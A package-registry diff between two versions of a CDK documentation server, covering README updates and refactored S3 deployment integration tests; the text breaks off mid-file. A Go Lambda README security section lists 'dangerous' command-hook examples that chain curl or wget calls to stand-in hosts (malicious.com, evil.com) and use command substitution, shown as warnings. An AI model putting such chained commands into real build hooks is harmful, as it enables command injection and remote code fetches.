konokenj.cdk-api-mcp-server 0.52.0__py3-none-any.whl → 0.53.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of konokenj.cdk-api-mcp-server might be problematic. Click here for more details.

Files changed (35) hide show
  1. cdk_api_mcp_server/__about__.py +1 -1
  2. cdk_api_mcp_server/resources/aws-cdk/constructs/@aws-cdk/aws-lambda-go-alpha/README.md +102 -4
  3. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-codebuild/README.md +0 -1
  4. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/README.md +65 -4
  5. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-big-response.ts +13 -6
  6. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cloudfront.ts +20 -18
  7. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-nested-stack-source.ts +7 -1
  8. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-stack-source.ts +6 -1
  9. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-cross-stack-ssm-source.ts +7 -1
  10. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-data.ts +83 -62
  11. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-deployed-bucket.ts +10 -4
  12. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-large-file.ts +20 -12
  13. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-loggroup.ts +7 -2
  14. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-efs.ts +77 -0
  15. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-empty.ts +69 -0
  16. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-multiple.ts +89 -0
  17. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-security-groups-single.ts +77 -0
  18. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-signcontent.ts +11 -7
  19. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution-with-destination-key.ts +15 -8
  20. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution-with-role.ts +29 -14
  21. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-substitution.ts +16 -8
  22. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-basic.ts +65 -0
  23. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-config.ts +66 -0
  24. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-custom-subnets.ts +66 -0
  25. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-efs.ts +66 -0
  26. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-security-groups.ts +72 -0
  27. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment-vpc-subnet-selection.ts +70 -0
  28. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-s3-deployment/integ.bucket-deployment.ts +47 -69
  29. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-stepfunctions/integ.sm-jsonpath-with-distributed-map-jsonata.ts +105 -0
  30. cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/cx-api/FEATURE_FLAGS.md +2 -2
  31. {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/METADATA +2 -2
  32. {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/RECORD +35 -24
  33. {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/WHEEL +0 -0
  34. {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/entry_points.txt +0 -0
  35. {konokenj_cdk_api_mcp_server-0.52.0.dist-info → konokenj_cdk_api_mcp_server-0.53.0.dist-info}/licenses/LICENSE.txt +0 -0
@@ -1,4 +1,4 @@
1
1
  # SPDX-FileCopyrightText: 2025-present Kenji Kono <konoken@amazon.co.jp>
2
2
  #
3
3
  # SPDX-License-Identifier: MIT
4
- __version__ = "0.52.0"
4
+ __version__ = "0.53.0"
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
170
170
  });
171
171
  ```
172
172
 
173
+ **⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
174
+
173
175
  By default this construct doesn't use any Go module proxies. This is contrary to
174
176
  a standard Go installation, which would use the Google proxy by default. To
175
177
  recreate that behavior, do the following:
@@ -200,19 +202,21 @@ new go.GoFunction(this, 'GoFunction', {
200
202
 
201
203
  ## Command hooks
202
204
 
203
- It is possible to run additional commands by specifying the `commandHooks` prop:
205
+ It is possible to run additional commands by specifying the `commandHooks` prop:
204
206
 
205
- ```text
206
- // This example only available in TypeScript
207
+ ```ts
207
208
  // Run additional commands on a GoFunction via `commandHooks` property
208
209
  new go.GoFunction(this, 'handler', {
210
+ entry: 'cmd/api',
209
211
  bundling: {
210
212
  commandHooks: {
211
213
  // run tests
212
214
  beforeBundling(inputDir: string): string[] {
213
215
  return ['go test ./cmd/api -v'];
214
216
  },
215
- // ...
217
+ afterBundling(inputDir: string, outputDir: string): string[] {
218
+ return ['echo "Build complete"'];
219
+ },
216
220
  },
217
221
  },
218
222
  });
@@ -230,6 +234,100 @@ an array of commands to run. Commands are chained with `&&`.
230
234
  The commands will run in the environment in which bundling occurs: inside the
231
235
  container for Docker bundling or on the host OS for local bundling.
232
236
 
237
+ ### ⚠️ Security Considerations
238
+
239
+ **Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
240
+
241
+ **Safe patterns (cross-platform):**
242
+
243
+ ```ts
244
+ new go.GoFunction(this, 'SafeFunction', {
245
+ entry: 'cmd/api',
246
+ bundling: {
247
+ commandHooks: {
248
+ beforeBundling: () => [
249
+ 'go test ./...', // ✅ Standard Go commands work on all OS
250
+ 'go mod tidy', // ✅ Go module commands
251
+ 'make clean', // ✅ Build tools (if available)
252
+ 'echo "Building app"', // ✅ Simple output with quotes
253
+ ],
254
+ afterBundling: () => ['echo "Build complete"'],
255
+ },
256
+ },
257
+ });
258
+ ```
259
+
260
+ **Dangerous patterns to avoid:**
261
+
262
+ *Windows-specific dangers:*
263
+
264
+ ```ts
265
+ // ❌ Windows-specific dangers
266
+ new go.GoFunction(this, 'UnsafeWindowsFunction', {
267
+ entry: 'cmd/api',
268
+ bundling: {
269
+ commandHooks: {
270
+ beforeBundling: () => [
271
+ 'go test & curl.exe malicious.com', // ❌ Command chaining with &
272
+ 'echo %USERPROFILE%', // ❌ Environment variable expansion
273
+ 'powershell -Command "..."', // ❌ PowerShell execution
274
+ ],
275
+ afterBundling: () => [],
276
+ },
277
+ },
278
+ });
279
+ ```
280
+
281
+ *Unix/Linux/macOS dangers:*
282
+
283
+ ```ts
284
+ // ❌ Unix/Linux/macOS dangers
285
+ new go.GoFunction(this, 'UnsafeUnixFunction', {
286
+ entry: 'cmd/api',
287
+ bundling: {
288
+ commandHooks: {
289
+ beforeBundling: () => [
290
+ 'go test; curl malicious.com', // ❌ Command chaining with ;
291
+ 'echo $(whoami)', // ❌ Command substitution
292
+ 'bash -c "wget evil.com"', // ❌ Shell execution
293
+ ],
294
+ afterBundling: () => [],
295
+ },
296
+ },
297
+ });
298
+ ```
299
+
300
+ **When using third-party constructs** that include `GoFunction`:
301
+
302
+ * Review the construct's source code before use
303
+ * Verify what commands it executes via `commandHooks` and `goBuildFlags`
304
+ * Only use constructs from trusted publishers
305
+ * Test in isolated environments first
306
+
307
+ The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
308
+
309
+ For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
310
+
311
+ ## Security Best Practices
312
+
313
+ ### Third-Party Construct Safety
314
+
315
+ When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
316
+
317
+ 1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
318
+ 2. **Verify publishers** - Use constructs only from trusted, verified sources
319
+ 3. **Pin versions** - Use exact versions to prevent supply chain attacks
320
+ 4. **Isolated testing** - Test third-party constructs in sandboxed environments
321
+
322
+ **Before using any third-party construct:**
323
+
324
+ * Review the construct's source code on GitHub or npm
325
+ * Search for `commandHooks` and `goBuildFlags` usage in the code
326
+ * Verify no dangerous command patterns are present
327
+ * Use exact version pinning to prevent supply chain attacks
328
+
329
+ The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
330
+
233
331
  ## Additional considerations
234
332
 
235
333
  Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.
@@ -651,7 +651,6 @@ const project = new codebuild.Project(this, 'MyProject', {
651
651
  // vpc,
652
652
  });
653
653
  ```
654
- >>>>>>> 39ec36ec6a (feat(codebuild): add custom instance type and VPC to Fleets)
655
654
 
656
655
  ## Logs
657
656
 
@@ -1,6 +1,5 @@
1
1
  # AWS S3 Deployment Construct Library
2
2
 
3
-
4
3
  This library allows populating an S3 bucket with the contents of .zip files
5
4
  from other S3 buckets or from local disk.
6
5
 
@@ -83,7 +82,7 @@ User: *** is not authorized to perform: kms:Decrypt on the resource associated w
83
82
  because no identity-based policy allows the kms:Decrypt action
84
83
  ```
85
84
 
86
- When this happens, users can use the public `handlerRole` property of `BucketDeployment` to manually
85
+ When this happens, users can use the public `handlerRole` property of `BucketDeployment` to manually
87
86
  add the KMS permissions:
88
87
 
89
88
  ```ts
@@ -375,6 +374,7 @@ resource handler.
375
374
  > of memory and storage size.
376
375
 
377
376
  ## JSON-Aware Source Processing
377
+
378
378
  When using `Source.jsonData` with CDK Tokens (references to construct properties), you may need to enable the escaping option. This is particularly important when the referenced properties might contain special characters that require proper JSON escaping (like double quotes, line breaks, etc.).
379
379
 
380
380
  ```ts
@@ -462,7 +462,7 @@ to make from placeholders in a local file which will be resolved during deployme
462
462
  is especially useful in situations like creating an API from a spec file, where users might
463
463
  want to reference other CDK resources they have created.
464
464
 
465
- The syntax for template variables is `{{ variableName }}` in your local file. Then, you would
465
+ The syntax for template variables is `{{ variableName }}` in your local file. Then, you would
466
466
  specify the substitutions in CDK like this:
467
467
 
468
468
  ```ts
@@ -486,7 +486,7 @@ new s3deploy.DeployTimeSubstitutedFile(this, 'MyFile', {
486
486
  ```
487
487
 
488
488
  Nested variables, like `{{ {{ foo }} }}` or `{{ foo {{ bar }} }}`, are not supported by this
489
- construct. In the first case of a single variable being is double nested `{{ {{ foo }} }}`, only
489
+ construct. In the first case of a single variable being is double nested `{{ {{ foo }} }}`, only
490
490
  the `{{ foo }}` would be replaced by the substitution, and the extra brackets would remain in the file.
491
491
  In the second case of two nexted variables `{{ foo {{ bar }} }}`, only the `{{ bar }}` would be replaced
492
492
  in the file.
@@ -533,6 +533,67 @@ new cdk.CfnOutput(this, 'ObjectKey', {
533
533
  });
534
534
  ```
535
535
 
536
+ ## Specifying a Custom VPC, Subnets, and Security Groups in BucketDeployment
537
+
538
+ By default, the AWS CDK BucketDeployment construct runs in a publicly accessible environment. However, for enhanced security and compliance, you may need to deploy your assets from within a VPC while restricting network access through custom subnets and security groups.
539
+
540
+ ### Using a Custom VPC
541
+
542
+ To deploy assets within a private network, specify the vpc property in BucketDeploymentProps. This ensures that the deployment Lambda function executes within your specified VPC.
543
+
544
+ ```ts
545
+ const vpc = ec2.Vpc.fromLookup(this, 'ExistingVPC', { vpcId: 'vpc-12345678' });
546
+ const bucket = new s3.Bucket(this, 'MyBucket');
547
+
548
+ new s3deploy.BucketDeployment(this, 'DeployToS3', {
549
+ destinationBucket: bucket,
550
+ vpc: vpc,
551
+ sources: [s3deploy.Source.asset('./website')],
552
+ });
553
+ ```
554
+
555
+ ### Specifying Subnets for Deployment
556
+
557
+ By default, when you specify a VPC, the BucketDeployment function is deployed in the private subnets of that VPC.
558
+ However, you can customize the subnet selection using the vpcSubnets property.
559
+
560
+ ```ts
561
+ const vpc = ec2.Vpc.fromLookup(this, 'ExistingVPC', { vpcId: 'vpc-12345678' });
562
+ const bucket = new s3.Bucket(this, 'MyBucket');
563
+
564
+ new s3deploy.BucketDeployment(this, 'DeployToS3', {
565
+ destinationBucket: bucket,
566
+ vpc: vpc,
567
+ vpcSubnets: { subnetType: ec2.SubnetType.PUBLIC },
568
+ sources: [s3deploy.Source.asset('./website')],
569
+ });
570
+ ```
571
+
572
+ ### Defining Custom Security Groups
573
+
574
+ For enhanced network security, you can now specify custom security groups in BucketDeploymentProps.
575
+ This allows fine-grained control over ingress and egress rules for the deployment Lambda function.
576
+
577
+ ```ts
578
+ const vpc = ec2.Vpc.fromLookup(this, 'ExistingVPC', { vpcId: 'vpc-12345678' });
579
+ const bucket = new s3.Bucket(this, 'MyBucket');
580
+
581
+ const securityGroup = new ec2.SecurityGroup(this, 'CustomSG', {
582
+ vpc: vpc,
583
+ description: 'Allow HTTPS outbound access',
584
+ allowAllOutbound: false,
585
+ });
586
+
587
+ securityGroup.addEgressRule(ec2.Peer.anyIpv4(), ec2.Port.tcp(443), 'Allow HTTPS traffic');
588
+
589
+ new s3deploy.BucketDeployment(this, 'DeployWithSecurityGroup', {
590
+ destinationBucket: bucket,
591
+ vpc: vpc,
592
+ securityGroups: [securityGroup],
593
+ sources: [s3deploy.Source.asset('./website')],
594
+ });
595
+ ```
596
+
536
597
  ## Notes
537
598
 
538
599
  - This library uses an AWS CloudFormation custom resource which is about 10MiB in
@@ -11,6 +11,12 @@ import { ExpectedResult } from '@aws-cdk/integ-tests-alpha';
11
11
 
12
12
  const numFiles = 50;
13
13
 
14
+ /**
15
+ * Integration test for bucket deployment with many sources (big response):
16
+ * - Tests deployment with 50 source files to validate response size handling
17
+ * - Uses increased memory limit (2048MB) for large deployments
18
+ * - Validates that objectKeys output is disabled when outputObjectKeys is false
19
+ */
14
20
  class TestBucketDeployment extends cdk.Stack {
15
21
  public readonly destinationBucket: s3.IBucket;
16
22
  constructor(scope: Construct, id: string, props?: cdk.StackProps) {
@@ -21,6 +27,7 @@ class TestBucketDeployment extends cdk.Stack {
21
27
  autoDeleteObjects: true, // needed for integration test cleanup
22
28
  });
23
29
 
30
+ // Create multiple source files to test big response handling
24
31
  const sources = [];
25
32
  for (let i = 0; i < numFiles; i++) {
26
33
  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tmpcdk'));
@@ -31,17 +38,17 @@ class TestBucketDeployment extends cdk.Stack {
31
38
  sources.push(s3deploy.Source.asset(tempDir));
32
39
  }
33
40
 
34
- const deploymentBucket = new s3deploy.BucketDeployment(this, 'DeployMe', {
41
+ const deployment = new s3deploy.BucketDeployment(this, 'DeployWithManySources', {
35
42
  sources: sources,
36
43
  destinationBucket: this.destinationBucket,
37
44
  memoryLimit: 2048,
38
- retainOnDelete: false, // default is true, which will block the integration test cleanup
45
+ retainOnDelete: false,
39
46
  outputObjectKeys: false,
40
47
  });
41
48
 
42
49
  new CfnOutput(this, 'customResourceData', {
43
50
  value: Fn.sub('Object Keys are${keys}', {
44
- keys: Fn.join(',', deploymentBucket.objectKeys),
51
+ keys: Fn.join(',', deployment.objectKeys),
45
52
  }),
46
53
  });
47
54
  }
@@ -54,12 +61,12 @@ const app = new cdk.App({
54
61
  });
55
62
  const testCase = new TestBucketDeployment(app, 'test-bucket-deployments-too-many-sources');
56
63
 
57
- const integTest = new integ.IntegTest(app, 'integ-test-bucket-deployments', {
64
+ const integTest = new integ.IntegTest(app, 'integ-test-bucket-deployment-big-response', {
58
65
  testCases: [testCase],
59
66
  diffAssets: true,
60
67
  });
61
68
 
62
- // Assert that DeployMeWithoutExtractingFilesOnDestination deploys a zip file to bucket4
69
+ // Assert that all files were successfully deployed
63
70
  for (let i = 0; i < numFiles; i++) {
64
71
  const apiCall = integTest.assertions.awsApiCall('S3', 'getObject', {
65
72
  Bucket: testCase.destinationBucket.bucketName,
@@ -73,7 +80,7 @@ for (let i = 0; i < numFiles; i++) {
73
80
  apiCall.assertAtPath('Body', ExpectedResult.stringLikeRegexp(`This is file number ${i + 1}`));
74
81
  }
75
82
 
76
- // Assert that there is no object keys returned from the custom resource
83
+ // Assert that objectKeys output is empty when outputObjectKeys is false
77
84
  const describe = integTest.assertions.awsApiCall('CloudFormation', 'describeStacks', {
78
85
  StackName: 'test-bucket-deployments-too-many-sources',
79
86
  });
@@ -1,27 +1,29 @@
1
1
  import * as path from 'path';
2
2
  import * as cloudfront from 'aws-cdk-lib/aws-cloudfront';
3
+ import * as origins from 'aws-cdk-lib/aws-cloudfront-origins';
3
4
  import * as s3 from 'aws-cdk-lib/aws-s3';
4
5
  import * as cdk from 'aws-cdk-lib';
5
6
  import * as s3deploy from 'aws-cdk-lib/aws-s3-deployment';
6
- import { IntegTest } from '@aws-cdk/integ-tests-alpha';
7
+ import * as integ from '@aws-cdk/integ-tests-alpha';
8
+ import { Construct } from 'constructs';
7
9
 
8
- class TestBucketDeployment extends cdk.Stack {
9
- constructor(scope: cdk.App, id: string) {
10
- super(scope, id);
10
+ /**
11
+ * Integration test for bucket deployment with CloudFront distribution invalidation:
12
+ * - Deploys files to S3 bucket behind CloudFront distribution
13
+ * - Tests that CloudFront cache invalidation works with bucket deployments
14
+ */
15
+ class TestBucketDeploymentCloudFront extends cdk.Stack {
16
+ constructor(scope: Construct, id: string, props?: cdk.StackProps) {
17
+ super(scope, id, props);
11
18
 
12
- const bucket = new s3.Bucket(this, 'Destination3', {
19
+ const bucket = new s3.Bucket(this, 'Destination', {
13
20
  removalPolicy: cdk.RemovalPolicy.DESTROY,
14
21
  autoDeleteObjects: true, // needed for integration test cleanup
15
22
  });
16
- const distribution = new cloudfront.CloudFrontWebDistribution(this, 'Distribution', {
17
- originConfigs: [
18
- {
19
- s3OriginSource: {
20
- s3BucketSource: bucket,
21
- },
22
- behaviors: [{ isDefaultBehavior: true }],
23
- },
24
- ],
23
+ const distribution = new cloudfront.Distribution(this, 'Distribution', {
24
+ defaultBehavior: {
25
+ origin: origins.S3BucketOrigin.withOriginAccessControl(bucket),
26
+ },
25
27
  });
26
28
 
27
29
  new s3deploy.BucketDeployment(this, 'DeployWithInvalidation', {
@@ -29,7 +31,7 @@ class TestBucketDeployment extends cdk.Stack {
29
31
  destinationBucket: bucket,
30
32
  distribution,
31
33
  distributionPaths: ['/images/*.png'],
32
- retainOnDelete: false, // default is true, which will block the integration test cleanup
34
+ retainOnDelete: false,
33
35
  });
34
36
  }
35
37
  }
@@ -41,10 +43,10 @@ const app = new cdk.App({
41
43
  },
42
44
  });
43
45
 
44
- const stack = new TestBucketDeployment(app, 'test-bucket-deployments-1');
46
+ const testCase = new TestBucketDeploymentCloudFront(app, 'test-bucket-deployment-cloudfront');
45
47
 
46
- new IntegTest(app, 'TestBucketDeploymentInteg', {
47
- testCases: [stack],
48
+ new integ.IntegTest(app, 'integ-test-bucket-deployment-cloudfront', {
49
+ testCases: [testCase],
48
50
  diffAssets: true,
49
51
  });
50
52
 
@@ -6,6 +6,12 @@ import * as integ from '@aws-cdk/integ-tests-alpha';
6
6
  import { ExpectedResult } from '@aws-cdk/integ-tests-alpha';
7
7
  import { Construct } from 'constructs';
8
8
 
9
+ /**
10
+ * Integration test for bucket deployment with cross-nested-stack references:
11
+ * - Tests that Source.jsonData() can use values from resources in nested stacks
12
+ * - Validates that cross-nested-stack token resolution works correctly
13
+ * - Tests token substitution across nested stack boundaries
14
+ */
9
15
  class ResourceNestedStack extends NestedStack {
10
16
  userPool: UserPool;
11
17
  constructor (scope: Construct, id: string, props: NestedStackProps = {}) {
@@ -23,7 +29,7 @@ class DeploymentNestedStack extends NestedStack {
23
29
  constructor (scope: Construct, id: string, props: DeploymentNestedStackProps) {
24
30
  super(scope, id, props);
25
31
  this.bucket = new Bucket(this, 'Bucket');
26
- new BucketDeployment(this, 'Deployment', {
32
+ new BucketDeployment(this, 'DeployWithCrossNestedStackSource', {
27
33
  destinationBucket: this.bucket,
28
34
  sources: [
29
35
  Source.jsonData('appconfig.json', { userPoolId: props.userPool.userPoolId }),
@@ -6,6 +6,11 @@ import { Construct } from 'constructs';
6
6
  import { BucketDeployment, Source } from 'aws-cdk-lib/aws-s3-deployment';
7
7
  import { Bucket } from 'aws-cdk-lib/aws-s3';
8
8
 
9
+ /**
10
+ * Integration test for bucket deployment with cross-stack references:
11
+ * - Tests that Source.data() can use values from resources in other stacks
12
+ * - Validates that cross-stack token resolution works correctly
13
+ */
9
14
  class Stack2 extends Stack {
10
15
  userPool: UserPool;
11
16
 
@@ -21,7 +26,7 @@ class Stack1 extends Stack {
21
26
  constructor (scope: Construct, id: string, props: { userPool: UserPool }) {
22
27
  super(scope, id);
23
28
  this.bucket = new Bucket(this, 'bucket');
24
- new BucketDeployment(this, 'XXXXXXXXXX', {
29
+ new BucketDeployment(this, 'DeployWithCrossStackSource', {
25
30
  destinationBucket: this.bucket,
26
31
  sources: [
27
32
  Source.data('test.txt', props.userPool.userPoolId),
@@ -5,6 +5,12 @@ import * as s3deploy from 'aws-cdk-lib/aws-s3-deployment';
5
5
  import * as ssm from 'aws-cdk-lib/aws-ssm';
6
6
  import * as integ from '@aws-cdk/integ-tests-alpha';
7
7
 
8
+ /**
9
+ * Integration test for bucket deployment with cross-stack SSM parameter references:
10
+ * - Tests that SSM StringListParameter tokens are resolved in Source.jsonData()
11
+ * - Validates cross-nested-stack parameter references work correctly
12
+ * - Tests that parameter values are properly serialized in JSON output
13
+ */
8
14
  class SsmStack extends cdk.NestedStack {
9
15
  public readonly ssmParam: ssm.StringListParameter;
10
16
 
@@ -38,7 +44,7 @@ class S3Stack extends cdk.NestedStack {
38
44
  autoDeleteObjects: true,
39
45
  });
40
46
 
41
- new s3deploy.BucketDeployment(this, 'ReproDeployment', {
47
+ new s3deploy.BucketDeployment(this, 'DeployWithSsmParameter', {
42
48
  sources: [
43
49
  s3deploy.Source.jsonData('config.json', {
44
50
  subnets: readParam.stringListValue,
@@ -1,80 +1,101 @@
1
1
  import { Bucket } from 'aws-cdk-lib/aws-s3';
2
- import { App, CfnOutput, RemovalPolicy, Stack, Token } from 'aws-cdk-lib';
2
+ import { App, CfnOutput, RemovalPolicy, Stack, StackProps, Token } from 'aws-cdk-lib';
3
3
  import { ExpectedResult, IntegTest } from '@aws-cdk/integ-tests-alpha';
4
4
  import { BucketDeployment, Source } from 'aws-cdk-lib/aws-s3-deployment';
5
5
  import * as secretsmanager from 'aws-cdk-lib/aws-secretsmanager';
6
6
  import * as ssm from 'aws-cdk-lib/aws-ssm';
7
7
  import * as path from 'path';
8
+ import { Construct } from 'constructs';
8
9
 
9
- const app = new App({
10
- postCliContext: {
11
- '@aws-cdk/aws-lambda:useCdkManagedLogGroup': false,
12
- },
13
- });
14
- const stack = new Stack(app, 'TestBucketDeploymentContent');
15
- const bucket = new Bucket(stack, 'Bucket', {
16
- removalPolicy: RemovalPolicy.DESTROY, // Allow bucket deletion
17
- autoDeleteObjects: true, // Delete objects when bucket is deleted
18
- });
10
+ /**
11
+ * Integration test for bucket deployment with various data source types:
12
+ * - Tests Source.data(), Source.jsonData(), and Source.yamlData() methods
13
+ * - Validates token substitution in JSON and YAML files
14
+ * - Tests proper escaping of special characters (quotes) in JSON files
15
+ * - Tests addSource() method for dynamically adding sources
16
+ * - Validates empty string handling
17
+ */
18
+ class TestBucketDeploymentData extends Stack {
19
+ public readonly bucket: Bucket;
19
20
 
20
- const file1 = Source.data('file1.txt', 'boom');
21
- const file2 = Source.data('path/to/file2.txt', `bam! ${bucket.bucketName}`);
22
- const file3 = Source.jsonData('my-json/config.json', { website_url: bucket.bucketWebsiteUrl });
23
- const file4 = Source.yamlData('my-yaml/config.yaml', { website_url: bucket.bucketWebsiteUrl });
24
- const file5 = Source.jsonData('my-json/config2.json', { bucket_domain_name: bucket.bucketWebsiteDomainName });
25
-
26
- // Add new test case for secret value with quotes
27
- const secret = new secretsmanager.Secret(stack, 'TestSecret', {
28
- generateSecretString: {
29
- secretStringTemplate: JSON.stringify({
30
- value: 'test"with"quotes',
31
- }),
32
- generateStringKey: 'password',
33
- },
34
- });
21
+ constructor(scope: Construct, id: string, props?: StackProps) {
22
+ super(scope, id, props);
35
23
 
36
- // Store secret in SSM (workaround for #21503)
37
- const param = new ssm.StringParameter(stack, 'SecretParam', {
38
- stringValue: secret.secretValueFromJson('value').unsafeUnwrap(),
39
- });
24
+ this.bucket = new Bucket(this, 'Bucket', {
25
+ removalPolicy: RemovalPolicy.DESTROY,
26
+ autoDeleteObjects: true,
27
+ });
40
28
 
41
- const tokenizedValue = param.stringValue; // This should be a Token
42
- new CfnOutput(stack, 'IsToken', { value: Token.isUnresolved(tokenizedValue).toString() });
43
- new CfnOutput(stack, 'SecretValue', { value: tokenizedValue });
29
+ // Test various data source types with different content
30
+ const file1 = Source.data('file1.txt', 'boom');
31
+ const file2 = Source.data('path/to/file2.txt', `bam! ${this.bucket.bucketName}`);
32
+ const file3 = Source.jsonData('my-json/config.json', { website_url: this.bucket.bucketWebsiteUrl });
33
+ const file4 = Source.yamlData('my-yaml/config.yaml', { website_url: this.bucket.bucketWebsiteUrl });
34
+ const file5 = Source.jsonData('my-json/config2.json', { bucket_domain_name: this.bucket.bucketWebsiteDomainName });
44
35
 
45
- // Add new file with secret value that needs proper escaping
46
- const file6 = Source.jsonData('my-json/secret-config.json', {
47
- secret_value: tokenizedValue, // Using the tokenized value explicitly
48
- }, { escape: true });
49
- const file7 = Source.yamlData('my-yaml/secret-config.yaml', {
50
- secret_value: tokenizedValue,
51
- });
36
+ // Test secret value with quotes that need escaping
37
+ const secret = new secretsmanager.Secret(this, 'TestSecret', {
38
+ generateSecretString: {
39
+ secretStringTemplate: JSON.stringify({
40
+ value: 'test"with"quotes',
41
+ }),
42
+ generateStringKey: 'password',
43
+ },
44
+ });
52
45
 
53
- // case for empty string
54
- const file8 = Source.data('file8.txt', '');
46
+ // Store secret in SSM (workaround for #21503)
47
+ const param = new ssm.StringParameter(this, 'SecretParam', {
48
+ stringValue: secret.secretValueFromJson('value').unsafeUnwrap(),
49
+ });
55
50
 
56
- const deployment = new BucketDeployment(stack, 'DeployMeHere', {
57
- destinationBucket: bucket,
58
- sources: [file1, file2],
59
- destinationKeyPrefix: 'deploy/here/',
60
- retainOnDelete: false, // default is true, which will block the integration test cleanup
61
- });
62
- deployment.addSource(file3);
63
- deployment.addSource(file4);
64
- deployment.addSource(file5);
65
- deployment.addSource(file6);
66
- deployment.addSource(file7);
67
- deployment.addSource(file8);
51
+ const tokenizedValue = param.stringValue; // This should be a Token
52
+ new CfnOutput(this, 'IsToken', { value: Token.isUnresolved(tokenizedValue).toString() });
53
+ new CfnOutput(this, 'SecretValue', { value: tokenizedValue });
54
+
55
+ // Test proper escaping of quotes in JSON
56
+ const file6 = Source.jsonData('my-json/secret-config.json', {
57
+ secret_value: tokenizedValue,
58
+ }, { escape: true });
59
+ // Test YAML file (which doesn't require escaping)
60
+ const file7 = Source.yamlData('my-yaml/secret-config.yaml', {
61
+ secret_value: tokenizedValue,
62
+ });
63
+
64
+ // Test empty string handling
65
+ const file8 = Source.data('file8.txt', '');
66
+
67
+ const deployment = new BucketDeployment(this, 'DeployWithDataSources', {
68
+ destinationBucket: this.bucket,
69
+ sources: [file1, file2],
70
+ destinationKeyPrefix: 'deploy/here/',
71
+ retainOnDelete: false,
72
+ });
73
+ // Test addSource() method
74
+ deployment.addSource(file3);
75
+ deployment.addSource(file4);
76
+ deployment.addSource(file5);
77
+ deployment.addSource(file6);
78
+ deployment.addSource(file7);
79
+ deployment.addSource(file8);
80
+
81
+ new CfnOutput(this, 'BucketName', { value: this.bucket.bucketName });
82
+ }
83
+ }
68
84
 
69
- new CfnOutput(stack, 'BucketName', { value: bucket.bucketName });
85
+ const app = new App({
86
+ postCliContext: {
87
+ '@aws-cdk/aws-lambda:useCdkManagedLogGroup': false,
88
+ },
89
+ });
90
+ const testCase = new TestBucketDeploymentData(app, 'test-bucket-deployment-data');
70
91
 
71
- const integ = new IntegTest(app, 'integ-test-bucket-deployment-data', {
72
- testCases: [stack],
92
